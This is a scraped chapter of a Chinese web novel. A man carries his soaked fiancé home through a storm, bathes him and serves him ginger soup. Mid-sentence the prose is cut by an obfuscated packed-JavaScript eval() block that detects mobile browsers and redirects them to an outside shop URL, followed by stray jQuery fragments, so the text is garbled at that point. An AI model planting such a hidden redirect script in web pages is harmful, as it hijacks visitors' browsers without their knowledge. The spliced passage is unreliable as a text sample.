文趣网 > 其他小说 > 直男穿到异世养病弱夫郎 > 14.没白疼你
    沉夜坠空,寒气刺骨,阴风冷雨夹着冰粒呼啸山林。

    捕获野猪群的喜悦和热闹随着乡亲们各自归家而消散,四周人踪尽灭。

    临近山脚的林间僻径,四五名精壮汉子脚步沉稳有序,正低调押着一辆厚重的木笼板车悄然下山。

    板车上的笼子盖了一块巨大黑布,借着雨幕遮掩,显得更加神秘行迹难寻。

    车轮碾碎路面薄冰,接触湿滑冻土声响沉顿。

    笼中被禁锢的兽偶尔压着喉咙发出虚弱低吼,转瞬被风雨覆盖。

    凌锋身穿蓑衣头戴斗笠当甩手掌柜走在最前列,他侧后方的余斌与请来的推车工一起,帮着照管,确保板车平衡预防车轮扎陷。

    前路视野朦胧,看不真切,雨雾里隐约有个人影在缓步靠近。

    凌锋帽檐下的黑眸沉静无波。

    谁家二百五这时候还敢只身一人往山上跑。

    荒山野岭黑灯瞎火,这跟撞鬼有什么区别。

    他只远看了眼,便不以为意移开视线。

    一旁的余斌毛手毛脚抹去脸上的雨水,抻着脖子眯眼细瞧。

    “凌老弟,”他两个大步和凌锋并肩,“我怎么瞧着那人,咋恁像你家夫郎啊?”

    凌锋心头一跳,眉宇间那股从容骤然消失,分辨的目光落过去,一口气也提了起来。

    瘦小纤弱的小哥儿跟个插地里嫩苗秧子似的,饱受风雨摧残,孤零零跋涉在这泥路里。

    这个糊涂蛋。

    凌锋咬紧后牙,几个箭步就冲过去。

    “你跑到这里来干什么?!”男人一把握住人的手,大声质问。

    柳时雨猝不及防,冻得有点发懵,牙齿都在打架,但悬着的心瞬间安了不少。

    凌锋看着他这副浑身湿透的狼狈样,也顾不得其他,手忙脚乱把身上的长蓑衣脱下将人裹住。

    小哥儿被淋得眼睛都睁不开了,却还要仰着脸眼巴巴望他,打量他,像在确定什么。

    “凌,阿嚏!”柳时雨张嘴就没憋住打了个喷嚏,又咳了两声,“凌大哥,我听他们说你出事了,我担心你...”

    他一着急便没想那么多,找到这儿已进退两难。

    幸在他是安然无恙的。

    周围风声雨声杂音太多,凌锋结合唇语才听出他说的什么。

    现在可不是聊这些的时候,他迅速评估眼前局势,一把揽住小哥儿发抖的身子将他带进怀里。

    “趴好。”凌锋弯腰附耳,下秒便托住人的臀,圈紧他的后背,将他按在肩头稳稳抱起。

    柳时雨完全没反应过来,失重感叫他非常依顺地把脸慌埋进男人的颈窝,一动不动地趴着。

    他被他温暖的体温裹着,同他紧密相贴,能感受到他加速跳动的脉搏,和潮湿的体香。

    凌锋将小哥儿身上尺寸过大的蓑衣往上提了提,连头发丝都遮得严实。

    这个姿势,他头上的斗笠刚好也能一罩二,可以确保怀中瑟瑟发抖人不再淋雨。

    “他身子弱怕着了风寒!我带他先走一步!”凌锋扭头朝刚好跟上来的余斌喊道。

    耳边风雨不停,得亏嗓门够大。

    “明白明白!快些回去!这有我!”余斌很讲义气乐呵地摆摆手。

    没等他话音落地,凌锋便抱着怀里的一团,大步流星消失在了雨幕里。

    柳时雨全程蒙着头埋着脸,只能感受到男人的紧促的呼吸和起伏的胸膛。

    就算如这般什么都看不见,连走了多远他们到了哪都不知道,他却丁点都未觉得害怕。

    蓑衣上残留着些许温度,又有个人形暖炉,他蜷缩的身子像是被点着了般,竟一路都没感到有多冷。

    回到家凌锋火急火燎冲进厨棚,将人放到土灶前坐下,然后以最快速度生火。

    明火燃灭黑暗,视野终于变得亮堂,红旺的光照在脸上身上,连同四周的温度都在急剧上涨。

    柴烧得噼里啪啦,凌锋一刻没停往锅里添水,然后走到主屋轻着手脚进去给小哥儿拿了两套干净的衣裳过来。

    早听见动静在门口的哼唧的小狗崽立马兴奋地围在他脚边打转,又跟着跑到厨棚冲柳时雨撒娇。

    “先穿这件,把身上湿衣服换了,这套等水热洗完澡再穿。”

    凌锋把衣服递给人,完了又注意到人脚上那双淌水的鞋,俗话说寒从脚入,他想着蹲下就要上手给他脱。

    “咳咳咳凌大哥,我自己咳咳我自己来就好!”柳时雨耳尖烧红,怯生地缩回脚,心跳得厉害。

    他将湿鞋放到一旁,擦干脚上的水,然后踩上男人又给他弄来的一双干爽的鞋,走到他屋里将衣服匆匆换了。

    为了不打扰柳小爹休息,凌锋干脆将那浴桶扛到自己屋,让小哥就在他这洗澡收拾。

    火够旺,灶温高,一锅水很快便烧得翻滚。

    柳时雨烤着火暖烘烘地看着男人忙前忙后,几番过意不去想说帮点忙或叫他也先去顾顾自己,却嘴张了又张根本找不到说话的机会。

    凌锋迅速将洗澡水兑好,试了下温,冲跟进来的小哥儿招呼:“赶紧的,脱衣服进去泡,烫着呢。”

    他大喇喇说完,站在旁边盯着人,一点没觉得有什么不对。

    柳时雨手揪着自己衣领保持着欲脱的姿势,在浴桶旁等了几息,才臊着脸提醒:“你出去呀。”

    凌锋默了一秒,才恍然反应过来,脸瞬间跟着烧得辣。

    差点忘了,他两现在是男男有别。

    “对不起对不起,你洗。”他赶紧道歉,慌手慌脚撞门出去顺便带上。

    柳时雨看着男人消失的方向抿了抿唇,嘴角勾起点意味难明的弧度。

    他将自己剥干净踏进那热水里,然后慢慢整个身子都泡进去。

    浴桶暖雾蒸腾,热流漫过肩头,氤氲的水汽飘上眉眼。

    柳时雨身上的寒意一点点被驱散,浑身的筋骨都浸得发软,紧绷的肩背渐渐松弛,舒服得他轻叹了口气。

    这间屋子旁边便是厨棚,他听见男人又在叮里哐当做什么了。

    他微阖着眸,长睫垂落,朱唇润艳,听着这声响莫名心安踏实。

    一刻钟后,凌锋端着碗姜汤敲响房门。

    “进来。”里头人嗓音软哑,慢悠悠地。

    凌锋听得耳根子发痒,稍微顿了下才推门进去。

    小哥儿已经洗完澡穿好衣裳,正坐在他床上用布巾擦拭长发。

    那张清丽的脸蛋总算染上红晕有了血色,几缕湿濡的发丝贴在他白皙的脖颈和锁骨,透着股不经意的诱态。

    那双柔润的眸子里含着一缕点水雾,直定定地望着他,将眉心的那颗痣都衬得更媚了,比当初他见他第一眼还要勾人。

    深更半夜,这样一番美景。

    要不是他两认识,他都要以为自己这是来了兰若寺,见到了个会迷惑人心会吸人阳气的男妖精。

    凌锋喉结滚了滚,心想幸亏自己不是gay,定力够足,不然指不定会出什么事。

    他没吃过猪肉但见过猪跑,末日世界两个男人之间其实跟男女一样常见,就跟家常便饭一样。

    但像柳时雨这么漂亮的男人,他倒从没遇到过。

    他若是过去,在那样一个秩序全无的世界护不住自己的话,估计下场会很...

    凌锋拉回思绪不再多想,进屋走近将手里碗递过去:“我煮了姜汤,喝一碗,驱驱寒气。”

    柳时雨捕捉到男人那一瞬不敢与自己对视的闪躲,他的眸光像是从他身上抚摸而下般,缓缓垂落到眼前的碗上。

    “多谢凌大哥。”他轻声说,然后伸手去接碗,柔软的指腹有意无意撩过男人手背凸起的青筋。

    本就有点不自在的凌锋感觉到痒,像是被电了一下猛地收回手。

    小哥儿捧着碗在小口小口认真地喝,应当是没注意到他这过激的反应。

    凌锋浅松口气,不知道自己刚才是怎么回事,莫不是冬天太干燥产生了静电。

    姜汤有些辣,柳时雨喝完半碗,眉头便拧成了一股绳。

    他吐了吐舌,小声道:“我觉得应当够了,实在喝不下了...”

    凌锋看着人这副委屈巴巴的模样就觉得有趣,平时在他这张清冷疏离的脸上可见不到这么生动的表情。

    “行,你接着擦头发。”他说着一把将人手里的碗拿过来

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17797279|209531||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,咕嘟咕嘟两口喝完剩下的汤就走了。

    柳时雨没想到男人竟这般不嫌弃自己喝过的东西,等人出了屋才从惊讶中反应过来,眸底的高兴藏都藏不住。

    凌锋懒得再烧水,这大冬天又淋了雨洗冷水也不太好,于是把小哥儿的浴桶扛出去,决定直接用他沐浴的水对付冲个澡。

    人家生得白白净净身上香喷喷的,他一个糙老爷们又是从水源稀缺的末世来的,没觉得有什么。

    柳时雨一点点擦拭头发上的水,想到今晚发生的事,他心中就像那碗野果子似地酸酸甜甜。

    他整个人依偎在他怀里,他那样圈着他裹着他。

    自己只有在很小的时候,被阿父这般抱过,那滋味是完全不一样的。

    也是第一次,被人这么宝贝地呵护。

    柳时雨抬起眸打量着这屋里的一切。

    待他们礼成,他便要搬到这屋同凌大哥一起睡了。

    他们会同床共寝。

    这几天他有尝试替自己号脉,他的体寒之症好生调养,将来应当是有希望好转能怀孩子的。

    想到这个,柳时雨脸不由得有些臊热。

    他此时正坐在凌大哥的床上...

    这场婚事的最初,是他为了自保爬了他的床,那时什么害羞顾忌都没有,现在光是坐着就不好意思了...

    哥儿汉子有别,虽然他们是未婚夫夫,但他后来基本都没进过他的屋,最多匆匆一眼,根本没仔细瞧过。

    没想到他一个汉子竟然能将屋子收拾得这般利索,那被子叠得方方正正,真是稀奇。

    凌锋冲完澡一进屋就见小哥儿在发呆,不知道在想什么。

    “还不困?”他随便找话问。

    柳时雨倏地拉回思绪,下意识摇摇头又点了下头。

    他看着男人,嘴唇翕张,还是开口道:“今日又给你添麻烦了,本是想去帮你,结果...”

    凌锋听出人语气里的歉疚,没忍住露出个可堪称为宠溺的笑。

    “这说明你心里惦记我,把我当真兄弟,我欣慰还来不及,什么麻不麻烦。”他说完,还是忍不住唠叨小朋友两句,“不过下次,凡事确实还是要先顾着自己,要先保证不让自己生病或者受伤…”

    在末世无牵无绊,有今天没明天的过了那么久,现在有个人挂念自己,听说自己出事大冬夜淋着雨也要来找自己,任谁心里都暖,都感动。

    这小弟弟没白疼。

    柳时雨听到那句‘真把我当兄弟’就再无心理他其他话了,继续闷头擦头发。

    “这样难干,我给你端盆炭进来烤烤。”凌锋热心得很,说完就去把土灶里还没灭的柴炭全用铲子挑了过来,两人坐一起烤。

    掩着门通风,屋里头也更暖和了。

    小狗崽在两个主人之间来回哼唧撒娇。

    柳时雨刚才那丁点儿的气来的快消得快,便不跟男人一般见识。

    “它还没名儿呢,你给他取个?”他提议道。

    “名字接地气好养活,”凌锋顺话题随口说:“叫旺财。”

    柳时雨颇为无奈地笑笑,没表达意见,旺财便旺财吧。

    “你找族长的事我知道了,”他又想到什么,闲聊般开口:“那家人赔的银子也收到了,有你在真好。”

    柳时雨不想再多说什么谢谢,真心实意的表达了心里的想法。

    这么多年第一次有人替他出气,他奶那么抠搜,让他出点血最好不过。

    “收到了便好,我也只是动动嘴皮子,没费什么功夫,”凌锋笑着说:“那一家子偷鸡不成蚀把米,这回估计得难受死。”

    他当时也只是突发奇想的报复,看小哥儿被那些人弄哭,心里不爽得很,非得去搞搞他们。

    要到赔偿是好事,就算要不到恶心下敲打敲打也行。

    知道他们家的人不是软柿子,下次再上门找事可得好好掂量。

    .

    翌日上午,祠堂外的大坪。

    杨大莲泼辣的大嗓门震天响:“凭啥不给俺们家分野猪肉!全村人都有!凭啥不给俺们?!他还是我孙婿呢!整半头给我都不分!你们这些个没长眼的赶紧的!”